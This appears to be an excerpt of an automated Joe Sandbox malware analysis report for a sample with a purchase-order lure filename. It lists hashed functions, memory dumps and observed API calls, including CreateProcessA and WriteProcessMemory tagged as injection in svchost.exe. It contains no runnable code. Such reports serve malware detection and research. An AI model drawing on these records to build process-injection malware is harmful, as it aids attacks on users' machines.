Opcode ID: 31fde10b6a319c0bc816edd46cf9790f8caf3404aef029df8d2b2590f26acea5
Instruction ID: 360bbe38f05c8dec9cc2855c418678ae5ba5e370d07cfa36a311127bf40db1ad
Opcode Fuzzy Hash: 31fde10b6a319c0bc816edd46cf9790f8caf3404aef029df8d2b2590f26acea5
Instruction Fuzzy Hash: E3D0A9300083488FC7022B70A81C2683BB9EA82720B4000FAE4048B022F6B90880CB20

Uniqueness

Uniqueness Score: -1.00%

Function 0176DA08, Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.723622703.0000000001760000.00000040.00000001.sdmp, Offset: 01760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1760000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43b52df32746126167e9a691690ea1414df0adc5f79f25da014dfe3f51639601
Instruction ID: 9d7f6caa3995c045baf81117a0c16e5ba3a3906771641ece32c80aacf67b32f9
Opcode Fuzzy Hash: 43b52df32746126167e9a691690ea1414df0adc5f79f25da014dfe3f51639601
Instruction Fuzzy Hash: 30B0927090930CAF8610DAA9980191AB7ACDA0A118B0206D9EA0887310DA72AD105AD2

Uniqueness

Uniqueness Score: -1.00%

Function 0176E518, Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.723622703.0000000001760000.00000040.00000001.sdmp, Offset: 01760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1760000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef3a278abdda990c12ae330beb7d35a91a7e34579e7b5a77309ca2b9d0180c51
Instruction ID: 3253784eb692652349c4b8ab08b03383ad6853cc6c4a5deac21c71ab622cd1ae
Opcode Fuzzy Hash: ef3a278abdda990c12ae330beb7d35a91a7e34579e7b5a77309ca2b9d0180c51
Instruction Fuzzy Hash: FBB0123000470D8F8680BFA4F40BC043B2C9640A2CBC08950E10CC54359E7828C5C78C

Uniqueness

Uniqueness Score: -1.00%

Function 01760508, Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.723622703.0000000001760000.00000040.00000001.sdmp, Offset: 01760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1760000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6a82a2c2fe3755c80026424e7babf4f5c3ac46372711aab266463c8d577a59b
Instruction ID: 1004a859cff2bc75d39050e09d983c9fa26610baa4b8efa95ca3043267a744b5
Opcode Fuzzy Hash: d6a82a2c2fe3755c80026424e7babf4f5c3ac46372711aab266463c8d577a59b
Instruction Fuzzy Hash: 58B0123054030C8BCA1137B0709C21CB7DC9B44711F800013A40E82205DEB654804740

Uniqueness

Uniqueness Score: -1.00%

Function 0176F140, Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.723622703.0000000001760000.00000040.00000001.sdmp, Offset: 01760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1760000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 247994df99789a7397dcc5b6ad127842fc66c1280e51bd5ad68a313250301f7c
Instruction ID: 1e014c4de74614c6189226666da45aa36d6f42bf6c7995d8868e985e9138abc5
Opcode Fuzzy Hash: 247994df99789a7397dcc5b6ad127842fc66c1280e51bd5ad68a313250301f7c
Instruction Fuzzy Hash: 79B0123020470D4B8640ABA4F44A85C3B1C99405187A0C550A20C854196E782844878C

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 05817589, Relevance: .8, Instructions: 783COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.737109449.0000000005810000.00000040.00000001.sdmp, Offset: 05810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5810000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b4931e7fab06b7eb9945d54fb6d9dcdae0a105d36f5d49d6653023f021bcdba
Instruction ID: a1bb9d4b4c00c0146831cd856c51ccbb5d147a46656d09eec16200b0700ea42c
Opcode Fuzzy Hash: 2b4931e7fab06b7eb9945d54fb6d9dcdae0a105d36f5d49d6653023f021bcdba
Instruction Fuzzy Hash: B6622AB06006049BD748EF19D49871A7AE6FB9430CF64C56CC10A9F392DBBBD90B9B91

Uniqueness

Uniqueness Score: -1.00%

Function 05817598, Relevance: .8, Instructions: 780COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.737109449.0000000005810000.00000040.00000001.sdmp, Offset: 05810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5810000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34793a44382de8d9cc14633e683e31211e5b984c652409ae0a95406fbb7d99e6
Instruction ID: 61bbb9e493413b1934565cf008c411c0c5c18ba23a7efe6ed536d6b571369866
Opcode Fuzzy Hash: 34793a44382de8d9cc14633e683e31211e5b984c652409ae0a95406fbb7d99e6
Instruction Fuzzy Hash: 25621AB06006049BD748EF19D49871A7AE6FB9430CF64C56CC10A9F392DFBBD90B9B91

Uniqueness

Uniqueness Score: -1.00%

Function 05816E00, Relevance: .5, Instructions: 498COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.737109449.0000000005810000.00000040.00000001.sdmp, Offset: 05810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5810000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd3a28abf541dac9b956cfee06e34f9123e2ece589ee3905b2771a05e38743de
Instruction ID: d20a9ff53eaf64b35b13f3aae45c6ec7b95d73fdb3aa6c30dc4cc60a000a6944
Opcode Fuzzy Hash: bd3a28abf541dac9b956cfee06e34f9123e2ece589ee3905b2771a05e38743de
Instruction Fuzzy Hash: 7E12BE30A042099FCB15DF68D884AAEBBF6FF84314F558569ED45EB261DB30EC46CB90

Uniqueness

Uniqueness Score: -1.00%

Function 08110E80, Relevance: .4, Instructions: 352COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.740666494.0000000008110000.00000040.00000010.sdmp, Offset: 08110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8110000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 901d4ec02da68f07260b6190d67c0590e8c8ffc39e74057c8236b5bf31ec96c3
Instruction ID: 91e789348276eb3fa5ae58b262bb6cf82fc3d1796545d62301f0c4398dd436ec
Opcode Fuzzy Hash: 901d4ec02da68f07260b6190d67c0590e8c8ffc39e74057c8236b5bf31ec96c3
Instruction Fuzzy Hash: 10B14B36F512259BCB08CEB8DC922AA75E79BCC7207169136E806EF354DE35DD4287C2

Uniqueness

Uniqueness Score: -1.00%

Function 08110E90, Relevance: .3, Instructions: 349COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.740666494.0000000008110000.00000040.00000010.sdmp, Offset: 08110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8110000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1be4057c8619b19864b7cd5a7aee78b8848c974c45c585b4c0a7930fb6ef5ad
Instruction ID: fb389c1b64cbe722f157fa9737d25c3b46d92ac23ea8034690722b67fb735d0d
Opcode Fuzzy Hash: c1be4057c8619b19864b7cd5a7aee78b8848c974c45c585b4c0a7930fb6ef5ad
Instruction Fuzzy Hash: 25B12936F512359BCB08CAB9DC522AA75E79BCC7207169136E806EF354DE39DC0287C2

Uniqueness

Uniqueness Score: -1.00%

Function 0811AB58, Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.740666494.0000000008110000.00000040.00000010.sdmp, Offset: 08110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8110000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8bd7fbbb941ac7df7310e12784bf76b8dfffed9663045fa33c7c9517127ad9a6
Instruction ID: 521f909593300e45af908d3fa996966672755fb1aa9fc88f7779e772beefab05
Opcode Fuzzy Hash: 8bd7fbbb941ac7df7310e12784bf76b8dfffed9663045fa33c7c9517127ad9a6
Instruction Fuzzy Hash: 91A19C36E00219CFCF09DFA5C8446DEBBB2FF88311B15817AE805BB221EB35A955CB50

Uniqueness

Uniqueness Score: -1.00%

Function 08113B2C, Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.740666494.0000000008110000.00000040.00000010.sdmp, Offset: 08110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8110000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 56a995ead3b576dc892a9bb0f21c0514d3ff85afa501e0919ebbd81b066cfa05
Instruction ID: 51f4516d9b3560cc6d2db732c406cec6b73ada57719cb7d27ac9e52ff3cf5ff5
Opcode Fuzzy Hash: 56a995ead3b576dc892a9bb0f21c0514d3ff85afa501e0919ebbd81b066cfa05
Instruction Fuzzy Hash: B471DF75B501098BDF08CBA8DD566EDB6F2AFC8321F248166D406EB384EB3DDD028B54

Uniqueness

Uniqueness Score: -1.00%

Function 08113C0B, Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.740666494.0000000008110000.00000040.00000010.sdmp, Offset: 08110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8110000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d7dfbff7058f751d43a07f11d465303c82cff87d1dcf252b927c4575e9a0f5f
Instruction ID: 6f7c945a06e110d6d88e20cae525178fc37bd6b51a54dfc67b2ae015937fc7b4
Opcode Fuzzy Hash: 2d7dfbff7058f751d43a07f11d465303c82cff87d1dcf252b927c4575e9a0f5f
Instruction Fuzzy Hash: 5361E476B5010A8BDF04CBB9D9522EDB6F3AFC8360B299166D806FB354DB39DD028750

Uniqueness

Uniqueness Score: -1.00%

Function 08112CA0, Relevance: .2, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.740666494.0000000008110000.00000040.00000010.sdmp, Offset: 08110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8110000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6f4d05c7b8932147e06801270227d42ae007129189400f54de8367e063a1ba5
Instruction ID: ade23563134c91a5e8c8033db2e7886bb6f1688961923e0082992bd4d001f17b
Opcode Fuzzy Hash: d6f4d05c7b8932147e06801270227d42ae007129189400f54de8367e063a1ba5
Instruction Fuzzy Hash: 6A516772F402258BDB08DAB8DC562AE75A36FD4210B1A5539EC06FF384EE7CDC164790

Uniqueness

Uniqueness Score: -1.00%

Function 08112CE8, Relevance: .2, Instructions: 151COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.740666494.0000000008110000.00000040.00000010.sdmp, Offset: 08110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8110000_#NEW ORDER FOR JANUARY 2022.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cefacbca6ab511a63ba411f15c8267a6bcfa456b08ec5bc4b1ce8d67315b912e
Instruction ID: 30568929bffdeb2668de78cf280648270a4abe93299a6c073959152e4990cd34
Opcode Fuzzy Hash: cefacbca6ab511a63ba411f15c8267a6bcfa456b08ec5bc4b1ce8d67315b912e
Instruction Fuzzy Hash: 09413776F402218BDB08DA79CD552AE65E36FD861071A5439AC07EF388EE7CDC128790

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: aspnet_regbrowsers.exe PID: 7068 Parent PID: 6588 aspnet_regbrowsers.exeCOMMON

Execution Graph

Execution Coverage:	12.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	81
Total number of Limit Nodes:	6

Executed Functions

Function 01886B00, Relevance: 6.1, APIs: 4, Instructions: 120
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 01886B60
GetCurrentThread.KERNEL32 ref: 01886B9D
GetCurrentProcess.KERNEL32 ref: 01886BDA
GetCurrentThreadId.KERNEL32 ref: 01886C33

Memory Dump Source

Source File: 0000001F.00000002.755023611.0000000001880000.00000040.00000001.sdmp, Offset: 01880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1880000_aspnet_regbrowsers.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: dccde92d88fafad6aa49b0091430350fa100bcdc33682dd79c1fbc4c10f5dd01
Instruction ID: 420c69ea11628faf5182b069d911cac5ea0ec28dd0a32763dc7edf3173ffb42d
Opcode Fuzzy Hash: dccde92d88fafad6aa49b0091430350fa100bcdc33682dd79c1fbc4c10f5dd01
Instruction Fuzzy Hash: 5B5152B09106498FDB54DFAAD548B9EBBF0FF88318F20845DE119A3350DB74A988CF61

Uniqueness

Uniqueness Score: -1.00%

Function 01885244, Relevance: 1.6, APIs: 1, Instructions: 118
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 01885362

Memory Dump Source

Source File: 0000001F.00000002.755023611.0000000001880000.00000040.00000001.sdmp, Offset: 01880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1880000_aspnet_regbrowsers.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: e15658831c4b87fd696ca80a29ffa85a631ab439a7ecdb3bd10e962de393c85d
Instruction ID: fe5dde74f2b287edf40beb5efd56aed8a615ba50df2dd05786ec8fdc2b4e4b2a
Opcode Fuzzy Hash: e15658831c4b87fd696ca80a29ffa85a631ab439a7ecdb3bd10e962de393c85d
Instruction Fuzzy Hash: 8B51C0B1D00309DFDF14CFAAD884ADEBBB5BF48354F24812AE819AB250D7749945CF91

Uniqueness

Uniqueness Score: -1.00%

Function 01885250, Relevance: 1.6, APIs: 1, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 01885362

Memory Dump Source

Source File: 0000001F.00000002.755023611.0000000001880000.00000040.00000001.sdmp, Offset: 01880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1880000_aspnet_regbrowsers.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: dbdb7dc4b9427621509069c1bf2fc328e6c6d729e8c5d0e1d9703a71fcca45c0
Instruction ID: ec57a219f8f7f007ef8d61388390f7770911ec776d9f46d16032d1823701b7e4
Opcode Fuzzy Hash: dbdb7dc4b9427621509069c1bf2fc328e6c6d729e8c5d0e1d9703a71fcca45c0
Instruction Fuzzy Hash: B341B0B1D003099FDB14DF9AC884ADEBBB5BF48314F24812AE819AB210D7749945CF90

Uniqueness

Uniqueness Score: -1.00%

Function 01886A34, Relevance: 1.6, APIs: 1, Instructions: 97
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 01887CB1

Memory Dump Source

Source File: 0000001F.00000002.755023611.0000000001880000.00000040.00000001.sdmp, Offset: 01880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1880000_aspnet_regbrowsers.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: ce653b98e84278a79dfcf0bde01e51ba2e2b749ae1084a71e98a9b48d29d926d
Instruction ID: bb56c8f4467367c872cc6298732d24f1e4042cb9389124f5ef2733b65ae1d85e
Opcode Fuzzy Hash: ce653b98e84278a79dfcf0bde01e51ba2e2b749ae1084a71e98a9b48d29d926d
Instruction Fuzzy Hash: 3E416AB4A00709CFDB14DF99C488AAABBF6FF88314F25C459E519A7321C734A941CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 01886D22, Relevance: 1.6, APIs: 1, Instructions: 64
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 01886DAF

Memory Dump Source

Source File: 0000001F.00000002.755023611.0000000001880000.00000040.00000001.sdmp, Offset: 01880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1880000_aspnet_regbrowsers.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 1cff90121035f63702f204b59e177916d2212540daec18a104baa6b675a328ea
Instruction ID: 9366aa35d58507b702cc7edd743aea46177794fb8f7897bc6390306baea81318
Opcode Fuzzy Hash: 1cff90121035f63702f204b59e177916d2212540daec18a104baa6b675a328ea
Instruction Fuzzy Hash: 0621E5B59002089FDB10CFA9D984ADEBBF4FF48314F24851AE914A7310D774A954CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 01886D28, Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 01886DAF

Memory Dump Source

Source File: 0000001F.00000002.755023611.0000000001880000.00000040.00000001.sdmp, Offset: 01880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1880000_aspnet_regbrowsers.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 8e524d82ecae6db4fa7fcc1f380688c0ebba379b1a5e8d476c6898c713641120
Instruction ID: cd98ddc44b401f73eabd001ceff85146df67325d7eb22db9e4f091b681438c2d
Opcode Fuzzy Hash: 8e524d82ecae6db4fa7fcc1f380688c0ebba379b1a5e8d476c6898c713641120
Instruction Fuzzy Hash: D421D5B59002089FDB10CFAAD884ADEBBF4FB48324F14841AE914A3350D775A954CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0188C198, Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlEncodePointer.NTDLL(00000000), ref: 0188C222

Memory Dump Source

Source File: 0000001F.00000002.755023611.0000000001880000.00000040.00000001.sdmp, Offset: 01880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1880000_aspnet_regbrowsers.jbxd

Similarity

API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: 55dfa51cc82fc37e15325b8f871d01ab99355723566e53b51cbe7fc0222360ea
Instruction ID: f07fcddea51af49e4045216a735fb0a28a63d279dffef2ad19890a2a487e8d72
Opcode Fuzzy Hash: 55dfa51cc82fc37e15325b8f871d01ab99355723566e53b51cbe7fc0222360ea
Instruction Fuzzy Hash: A22197719117098FDB50EFA9E8483DABFF4EB44725F24842AD408F3641CB39A649CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0188C1A8, Relevance: 1.6, APIs: 1, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlEncodePointer.NTDLL(00000000), ref: 0188C222

Memory Dump Source

Source File: 0000001F.00000002.755023611.0000000001880000.00000040.00000001.sdmp, Offset: 01880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1880000_aspnet_regbrowsers.jbxd

Similarity

API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: 448f2e62c139713707eda5607f0c21f01aa2e7c4346664bc968f5cfab0e464c7
Instruction ID: c09d6bf8d3449d4411910d1c1adf7e9a2447c3a534c9ccc451ef7dacd5507526
Opcode Fuzzy Hash: 448f2e62c139713707eda5607f0c21f01aa2e7c4346664bc968f5cfab0e464c7
Instruction Fuzzy Hash: EA1189709017098FDB50EFA9E8487DEBBF4FB45725F20802AD408E3645C739A549CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 017DD01C, Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.754852530.00000000017DD000.00000040.00000001.sdmp, Offset: 017DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_17dd000_aspnet_regbrowsers.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b7a10f69bdf47ce75f479a3269520b02576e75821688baf84926bf3d0ee6faf
Instruction ID: a42efa39c988c97e2b6f2e9bce582335985a523f2a02d68fcfa3e741832ced55
Opcode Fuzzy Hash: 7b7a10f69bdf47ce75f479a3269520b02576e75821688baf84926bf3d0ee6faf
Instruction Fuzzy Hash: D4210371504248DFCB21DF64D9C4B16FB75EB88254F24C9ADD9094B286C336D807CA61

Uniqueness

Uniqueness Score: -1.00%

Function 017DD005, Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.754852530.00000000017DD000.00000040.00000001.sdmp, Offset: 017DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_17dd000_aspnet_regbrowsers.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fb0d048d15e7ab53127858e8fc149506558ba3ec195f16904898375b55d41c1
Instruction ID: 514e60081210c605baee537935e9259386b9429935fde70c936af3e85d61974c
Opcode Fuzzy Hash: 2fb0d048d15e7ab53127858e8fc149506558ba3ec195f16904898375b55d41c1
Instruction Fuzzy Hash: E82183754083849FCB12CF24D994711FF71EB86214F28C5DAD8498B697C33AD846CB62

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: svchost.exe PID: 4876 Parent PID: 3424 svchost.exeCOMMON

Execution Graph

Execution Coverage:	11%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	262
Total number of Limit Nodes:	14

Executed Functions

Function 078E8C00, Relevance: 1.8, APIs: 1, Instructions: 272
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 078E8E6A

Memory Dump Source

Source File: 00000020.00000002.789906209.00000000078E0000.00000040.00000010.sdmp, Offset: 078E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_78e0000_svchost.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 66fda44b6146c9fece9d9c6e85eb6a3a1a18202f87a3dc8ff5903755509709d9
Instruction ID: 308f58c478ba6861466f316103890300efc5ba9e8ec4b17f9a5313811a925dcc
Opcode Fuzzy Hash: 66fda44b6146c9fece9d9c6e85eb6a3a1a18202f87a3dc8ff5903755509709d9
Instruction Fuzzy Hash: 94915DB1809389DFCB02CFA4D8509CDBFB1BF5A324F29929BE454AB2A2D3344955CF51

Uniqueness

Uniqueness Score: -1.00%

Function 053F60BD, Relevance: 1.7, APIs: 1, Instructions: 245
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 053F62FE

Memory Dump Source

Source File: 00000020.00000002.781350156.00000000053F0000.00000040.00000001.sdmp, Offset: 053F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_53f0000_svchost.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: ce6c55dad14ca05e6eec67968db96ad7d161be20ec17bf3ab7fe5bdade661b51
Instruction ID: 9b408491ac7642d84404f754d4634caf6a8f7fad2a5dbf2d8d26bd8a7f11527b
Opcode Fuzzy Hash: ce6c55dad14ca05e6eec67968db96ad7d161be20ec17bf3ab7fe5bdade661b51
Instruction Fuzzy Hash: 2AA17071D04219DFDF10CFA8C8427EEBBB2BF48304F158569E909A7250DB749985CF91

Uniqueness

Uniqueness Score: -1.00%

Function 053F60C8, Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 053F62FE

Memory Dump Source

Source File: 00000020.00000002.781350156.00000000053F0000.00000040.00000001.sdmp, Offset: 053F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_53f0000_svchost.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 7d19bd96461c5f58e3370c2d0a29ce933a0ba89a932f00ba99ddf112d6fea9cf
Instruction ID: 62b784fec30f1124a2743fb513a827473412dbea1fb1562f13605337afac80fe
Opcode Fuzzy Hash: 7d19bd96461c5f58e3370c2d0a29ce933a0ba89a932f00ba99ddf112d6fea9cf
Instruction Fuzzy Hash: 8D917F71D04219DFDF10CFA8C882BEEBBB2BF48314F158569E909A7290DB749985CF91

Uniqueness

Uniqueness Score: -1.00%

Function 078E68A1, Relevance: 1.7, APIs: 1, Instructions: 200
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 078E6AF6

Memory Dump Source

Source File: 00000020.00000002.789906209.00000000078E0000.00000040.00000010.sdmp, Offset: 078E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_78e0000_svchost.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 59f7cd3d7e4abb9bd08fca5a9b324135ac35937998380d659a1a6d2a9ff37cbc
Instruction ID: 2bc5c27ee10967da318327cf550285965be05c04223d32ca32ccce2643c63c5e
Opcode Fuzzy Hash: 59f7cd3d7e4abb9bd08fca5a9b324135ac35937998380d659a1a6d2a9ff37cbc
Instruction Fuzzy Hash: C58167B0A00B068FD724DF29D44075ABBF5FF99214F10892ED48AD7A40EB35E845CF91

Uniqueness

Uniqueness Score: -1.00%

Function 078E8224, Relevance: 1.6, APIs: 1, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 078E8E6A

Memory Dump Source

Source File: 00000020.00000002.789906209.00000000078E0000.00000040.00000010.sdmp, Offset: 078E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_78e0000_svchost.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: a21dbc6f4fc19aceb7e8fbba3882a4679f204af463b1855912966ea929bd44e6
Instruction ID: 4a76dcd814babb6f9775801776ce0839c489f41c50df438dad52c9859d5783f0
Opcode Fuzzy Hash: a21dbc6f4fc19aceb7e8fbba3882a4679f204af463b1855912966ea929bd44e6
Instruction Fuzzy Hash: 4F51C1B1D00309EFDB14CF99D884ADEBBB5BF59314F24852AE819AB210D7749885CF90

Uniqueness

Uniqueness Score: -1.00%

Function 078E8374, Relevance: 1.6, APIs: 1, Instructions: 97
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 078EB3C1

Memory Dump Source

Source File: 00000020.00000002.789906209.00000000078E0000.00000040.00000010.sdmp, Offset: 078E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_78e0000_svchost.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 2bf4b290ffa0d45ed3bf701094e73e69027ec7981970fdd7dda3ad4cbe055f07
Instruction ID: ceffd4c318966649ad496ba5995915cdfc3df5c133266f0ea7caa8dbe353ba49
Opcode Fuzzy Hash: 2bf4b290ffa0d45ed3bf701094e73e69027ec7981970fdd7dda3ad4cbe055f07
Instruction Fuzzy Hash: E4416AF4900309DFCB10CF99C489AAABBF9FF89314F248859E518A7320C730A841CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 053F6600, Relevance: 1.6, APIs: 1, Instructions: 71
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 053F6698

Memory Dump Source

Source File: 00000020.00000002.781350156.00000000053F0000.00000040.00000001.sdmp, Offset: 053F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_53f0000_svchost.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: a8d0180c82a4e6291a06403cf19b46cd362568068c7f4c5511f512beefafe9c1
Instruction ID: 478761b5dbf26fa957f6650b7d6402d6f8fb5b3f789a16c8e61e962fdcf0f193
Opcode Fuzzy Hash: a8d0180c82a4e6291a06403cf19b46cd362568068c7f4c5511f512beefafe9c1
Instruction Fuzzy Hash: DB2148719003499FCF00CFA9D885BDEBBF5FF48314F148429E919A7240DB78A954CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 053F6608, Relevance: 1.6, APIs: 1, Instructions: 69
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 053F6698

Memory Dump Source

